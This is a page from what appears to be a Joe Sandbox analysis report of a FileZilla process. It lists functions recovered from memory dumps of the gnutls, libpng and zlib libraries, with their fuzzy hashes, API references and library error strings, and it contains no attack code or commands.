Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 95745b34ce31ceb46056b797e136b3b1919623d612ae18170efba346aeaffd8e
Instruction ID: fade4d098366caebd3b28e552f14ff6b26cae55ec0274bc3d9864bdc7bf29deb
Opcode Fuzzy Hash: 95745b34ce31ceb46056b797e136b3b1919623d612ae18170efba346aeaffd8e
Instruction Fuzzy Hash: 9C41BF72701B4196DB11CF62E880B597BA2FB8AB98F44812DDE5D07758EF3EC554C780

Function 00007FF81FA3E070 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 239COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FA3E187
memcpy.MSVCRT ref: 00007FF81FA3E32E

Strings

gnutls_prf_rfc5705, xrefs: 00007FF81FA3E417, 00007FF81FA3E44A
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA3E257, 00007FF81FA3E28A, 00007FF81FA3E42A, 00007FF81FA3E45D
prf.c, xrefs: 00007FF81FA3E24B, 00007FF81FA3E27E, 00007FF81FA3E41E, 00007FF81FA3E451
gnutls_prf, xrefs: 00007FF81FA3E244, 00007FF81FA3E277
EXPORTER-Channel-Binding, xrefs: 00007FF81FA3E076

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$EXPORTER-Channel-Binding$gnutls_prf$gnutls_prf_rfc5705$prf.c
API String ID: 3510742995-4200940587
Opcode ID: 05c8acb0e9e3cb92f36bac1612cdf709a567dbf0a24dd21ad92c8cc0b81e2269
Instruction ID: 03cfe7169e33cb78abb92dd5deb29751309fdb62c456403d7ee00342e4cc75e1
Opcode Fuzzy Hash: 05c8acb0e9e3cb92f36bac1612cdf709a567dbf0a24dd21ad92c8cc0b81e2269
Instruction Fuzzy Hash: 6FA16266A08F8682EA258B55E8817AA7761FF54BE8F444332EF8D03795DF3CD589C700

Function 663E7300 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 663E7350

Strings

database corruption, xrefs: 663E7413
%s at line %d of [%.10s], xrefs: 663E741A
a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309, xrefs: 663E7401, 663E7633

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309$database corruption
API String ID: 3510742995-481979681
Opcode ID: 0b453a5dcf2a28802bd5d8e1d8e17176a17af74f7d3faff32f8cf1e702ed6b28
Instruction ID: e30f79f8f8e00f15ff50f74edd994e478d33463e4bf473591fe3bce8d3c1f569
Opcode Fuzzy Hash: 0b453a5dcf2a28802bd5d8e1d8e17176a17af74f7d3faff32f8cf1e702ed6b28
Instruction Fuzzy Hash: 8581E1322087E486D751CB29E848A5E7FB8F3857C8F468127DF8947745EB7AD488CB60

Function 6154A3C0 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 183stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6154A5C1

Strings

duplicate, xrefs: 6154A4B0
no space in chunk cache, xrefs: 6154A650
missing IHDR, xrefs: 6154A4B9, 6154A679
out of memory, xrefs: 6154A670
Insufficient memory to process text chunk, xrefs: 6154A610
invalid, xrefs: 6154A48B

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: Insufficient memory to process text chunk$duplicate$invalid$missing IHDR$no space in chunk cache$out of memory
API String ID: 39653677-3768432890
Opcode ID: 7348d8140d503cffd0f5eef448d45acf59326d0afa6ab09bc9694a68db9fcf27
Instruction ID: 91fc67c28fbf25151deafbf5d774c33c04bf74842edc4219fbea61f3dafd6dc5
Opcode Fuzzy Hash: 7348d8140d503cffd0f5eef448d45acf59326d0afa6ab09bc9694a68db9fcf27
Instruction Fuzzy Hash: 1D51157271968185EB61CB65B8047AEEBA4F7CA7DCF84C421DD5A4B324EB3DC542C700

Function 6154E390 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 166COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6154E5E9

Strings

png_set_keep_unknown_chunks: too many chunks, xrefs: 6154E514
3333, xrefs: 6154E3F2
bKGD, xrefs: 6154E4FF, 6154E562
png_set_keep_unknown_chunks: no chunk list, xrefs: 6154E3C6
png_set_keep_unknown_chunks: invalid keep, xrefs: 6154E3AD
3333, xrefs: 6154E50B

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: 3333$3333$bKGD$png_set_keep_unknown_chunks: invalid keep$png_set_keep_unknown_chunks: no chunk list$png_set_keep_unknown_chunks: too many chunks
API String ID: 3510742995-807601816
Opcode ID: 72b69c67de5fb2a1999c3be48be1212c381ad2812a949a2bb26dd5677d73c98f
Instruction ID: e61db28ba346f10e2ffa27ff5595ce972f8296c6549a12ed013c5c9a319f88e6
Opcode Fuzzy Hash: 72b69c67de5fb2a1999c3be48be1212c381ad2812a949a2bb26dd5677d73c98f
Instruction Fuzzy Hash: 1851EF76B0679086EA06CF9BA154B9FBB25F785BD8F88C515CE0A0B344FA3DC585C381

Function 00007FF81FA3D0E0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

_mkdir.MSVCRT ref: 00007FF81FA3D1EE

Strings

gnutls_store_pubkey, xrefs: 00007FF81FA3D2A4, 00007FF81FA3D348, 00007FF81FA3D3A2
Configuration file: %s, xrefs: 00007FF81FA3D313, 00007FF81FA3D3C6
Configuration path: %s, xrefs: 00007FF81FA3D373
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA3D2B7, 00007FF81FA3D35B, 00007FF81FA3D3B5
verify-tofu.c, xrefs: 00007FF81FA3D2AB, 00007FF81FA3D34F, 00007FF81FA3D3A9

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _mkdir
String ID: ASSERT: %s[%s]:%d$Configuration file: %s$Configuration path: %s$gnutls_store_pubkey$verify-tofu.c
API String ID: 2222291837-1299830889
Opcode ID: a242274c4fabf7618bc6dad035dc9377a9af2b237a25c37d3b0fec70f34dd2a0
Instruction ID: 9f2da0438eebf07bc924b2e197ac898697cab1a113fd6227c5d677c55871d51c
Opcode Fuzzy Hash: a242274c4fabf7618bc6dad035dc9377a9af2b237a25c37d3b0fec70f34dd2a0
Instruction Fuzzy Hash: 9F718CB1A08E4AC6E724CB05E81A7AAB761FF443E8F404336EA4D47695DF7CE884C741

Function 00007FF81FA53080 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 130COMMON

Download Yara Rule

Strings

session->internals.selected_ocsp_func != NULL || session->internals.selected_ocsp_length != 0, xrefs: 00007FF81FA5323D
tls13/certificate.c, xrefs: 00007FF81FA53114, 00007FF81FA53283
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA53123, 00007FF81FA5328F
tls13/certificate.c, xrefs: 00007FF81FA53236
append_status_request, xrefs: 00007FF81FA53104, 00007FF81FA5327C

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: ASSERT: %s[%s]:%d$append_status_request$session->internals.selected_ocsp_func != NULL || session->internals.selected_ocsp_length != 0$tls13/certificate.c$tls13/certificate.c
API String ID: 0-1307115697
Opcode ID: 13b5ea67707c7888550659e7b257ac142e8263718c9984ea91798620f4dbaa78
Instruction ID: 6c77cf700805fd3359b7f16432aa7442178f488ba94de3d22d8ab3a97977be7c
Opcode Fuzzy Hash: 13b5ea67707c7888550659e7b257ac142e8263718c9984ea91798620f4dbaa78
Instruction Fuzzy Hash: 5D515D71B08A4296EF648B25D94167A63A3FF80BE8F448335DA1E476A4DF3DE850CB00

Function 6154DFC0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 615393A0: memset.MSVCRT ref: 6153943A

memcpy.MSVCRT ref: 6154E090
memcpy.MSVCRT ref: 6154E0CB

Strings

, xrefs: 6154E00C
, xrefs: 6154E043
too many sPLT chunks, xrefs: 6154E150
sPLT out of memory, xrefs: 6154E12D
png_set_sPLT: invalid sPLT, xrefs: 6154E051

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy$memset
String ID: $ $png_set_sPLT: invalid sPLT$sPLT out of memory$too many sPLT chunks
API String ID: 438689982-3932413681
Opcode ID: 7c9925e98bf65acde19cf59dd413341f3889896e8b36fda4750ada29899075c0
Instruction ID: 8ecf5e2b299c0cb5a2be5d9afed79cde00a8a91a1e37b4f2d657cc0ef44c71e8
Opcode Fuzzy Hash: 7c9925e98bf65acde19cf59dd413341f3889896e8b36fda4750ada29899075c0
Instruction Fuzzy Hash: AD31B1B770265185EB2ACB67E8107DEAB61EB89B98F44D421CE1D0BB48EF3DC581C340

Function 615791C0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 615791D2
malloc.MSVCRT ref: 6157920A

Strings

1.2.12, xrefs: 6157921D
out of memory, xrefs: 615792D2
X, xrefs: 61579224

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: malloc
String ID: 1.2.12$X$out of memory
API String ID: 2803490479-3930904706
Opcode ID: 62422b58cb692fb4824c38deb38dc024fd0ddc53ed980dcf5f10fca0b89457dc
Instruction ID: d5e4ac28120cdf18c38f0027846deb568ab61b2e87be81f8033039344a523f5a
Opcode Fuzzy Hash: 62422b58cb692fb4824c38deb38dc024fd0ddc53ed980dcf5f10fca0b89457dc
Instruction Fuzzy Hash: D7218D72211B5186E7A0CB25E48DF8FB3E9F7893A8F51822ADE5947754EB34C485CB10

Function 00007FF81F9F5050 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 49COMMON

Download Yara Rule

Strings

ASSERT: %s[%s]:%d, xrefs: 00007FF81F9F510B
record.c, xrefs: 00007FF81F9F50BE
gnutls_packet_get, xrefs: 00007FF81F9F50F8
record.c, xrefs: 00007FF81F9F50FF
packet != NULL, xrefs: 00007FF81F9F50C5

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: ASSERT: %s[%s]:%d$gnutls_packet_get$packet != NULL$record.c$record.c
API String ID: 0-2133521572
Opcode ID: 2dcacbf0c542ef8f04a448f00bb279216d688528a725b2f8c6e92eb557229486
Instruction ID: cd150c2471a2482ab0b7f64289e4a484a1186de71e8136a5ee1f422ecfeafe98
Opcode Fuzzy Hash: 2dcacbf0c542ef8f04a448f00bb279216d688528a725b2f8c6e92eb557229486
Instruction Fuzzy Hash: 7B118E72A09E0685FB259F14E84477837A0BF847E4F984631CA4C473A8DF3DE846C780

Function 6153FE40 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 208COMMON

Download Yara Rule

Strings

png_image_begin_read_from_stdio: invalid argument, xrefs: 61540190
png_image_begin_read_from_stdio: incorrect PNG_IMAGE_VERSION, xrefs: 61540133
Image is too high to process with png_read_png(), xrefs: 6154010B
png_read_update_info/png_start_read_image: duplicate call, xrefs: 6153FF11
png_image_read: opaque pointer not NULL, xrefs: 61540153

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: Image is too high to process with png_read_png()$png_image_begin_read_from_stdio: incorrect PNG_IMAGE_VERSION$png_image_begin_read_from_stdio: invalid argument$png_image_read: opaque pointer not NULL$png_read_update_info/png_start_read_image: duplicate call
API String ID: 0-3356078511
Opcode ID: 66f2fa995a086d8ccc5f16e334ae71c3e32e0c180e378bb26ed4d8509fdc9a0f
Instruction ID: 26ec5774e24c8c4631ac952dde52de6d68e594ef9083339b16140cf5c7e2c3c4
Opcode Fuzzy Hash: 66f2fa995a086d8ccc5f16e334ae71c3e32e0c180e378bb26ed4d8509fdc9a0f
Instruction Fuzzy Hash: 3461F17A745664C9EA45D7A69404BEEE7A0FBC6BDCF88C803CE6947394EB3C8484C345

Function 6154DBA0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6154DC30
memcpy.MSVCRT ref: 6154DC5C
memcpy.MSVCRT ref: 6154DC7D

Strings

Insufficient memory to process iCCP profile, xrefs: 6154DCEC
Invalid iCCP compression method, xrefs: 6154DCD0
Insufficient memory to process iCCP chunk, xrefs: 6154DD0A

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy$strlen
String ID: Insufficient memory to process iCCP chunk$Insufficient memory to process iCCP profile$Invalid iCCP compression method
API String ID: 2619041689-1022264010
Opcode ID: 0db6bcc37cc1ef4a932fb88f4a7ea2096bce71730cba248f6b57cb106a8cb419
Instruction ID: 3d88b8ced545a21c5040e92e092fb4b3eea51d43fdacfc79072f0e6b705163e0
Opcode Fuzzy Hash: 0db6bcc37cc1ef4a932fb88f4a7ea2096bce71730cba248f6b57cb106a8cb419
Instruction Fuzzy Hash: E131DFB330169040EF56CB66B904B9AEB91BBC5FD8F88C4258E195B718EF78C585D344

Function 00007FF81FA28020 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 91stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00007FF81FA280CD

Strings

%%%.2X, xrefs: 00007FF81FA2804A
str.c, xrefs: 00007FF81FA28134
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA28143
_gnutls_buffer_append_escape, xrefs: 00007FF81FA28124

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: strchr
String ID: %%%.2X$ASSERT: %s[%s]:%d$_gnutls_buffer_append_escape$str.c
API String ID: 2830005266-4199102751
Opcode ID: 449f2119a7260031287edf650cf7b81860c3ee0c15c4bb2536d62d2b40711c12
Instruction ID: 9935a2e1333561d6e8cc1a7d0a26421377552de384cb6070cfc6235b0b90b953
Opcode Fuzzy Hash: 449f2119a7260031287edf650cf7b81860c3ee0c15c4bb2536d62d2b40711c12
Instruction Fuzzy Hash: 9431AD26B0CD5685E711DB15E802AAA6761AB54BECF444332FE0D47795CF7CE982C380

Function 615552D0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 615552EC
strlen.MSVCRT ref: 615552F7
memcpy.MSVCRT ref: 61555320
memcpy.MSVCRT ref: 61555330

Strings

Can't write sCAL (buffer too small), xrefs: 61555360
LACs, xrefs: 6155533B

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpystrlen
String ID: Can't write sCAL (buffer too small)$LACs
API String ID: 3412268980-1090296474
Opcode ID: b49e784ca88b1512cbe7527bb1eed81c6975dcec2acf2d43173e145657548241
Instruction ID: a902428255348c8210415380ffa21c0f3ca7db6b94579ec47840e8cafe18c7ed
Opcode Fuzzy Hash: b49e784ca88b1512cbe7527bb1eed81c6975dcec2acf2d43173e145657548241
Instruction Fuzzy Hash: 1E01D413305699649A52DA56BC008EAD604B7DAFE8F8DC1229E1D1B304DB38CA97C304

Function 615401D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 6154023E

Strings

png_image_begin_read_from_file: incorrect PNG_IMAGE_VERSION, xrefs: 615401E9
png_image_read: opaque pointer not NULL, xrefs: 61540228
png_image_begin_read_from_file: invalid argument, xrefs: 61540280

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: fclose
String ID: png_image_begin_read_from_file: incorrect PNG_IMAGE_VERSION$png_image_begin_read_from_file: invalid argument$png_image_read: opaque pointer not NULL
API String ID: 3125558077-56170664
Opcode ID: d5f23af932b7da7468e5496e1ccba656f978be2b239ea0afb1d01e61859bfc5a
Instruction ID: ed437c1746cc01bf2590a076f4c421cdd49d132ae71b6110f26df759b464e40b
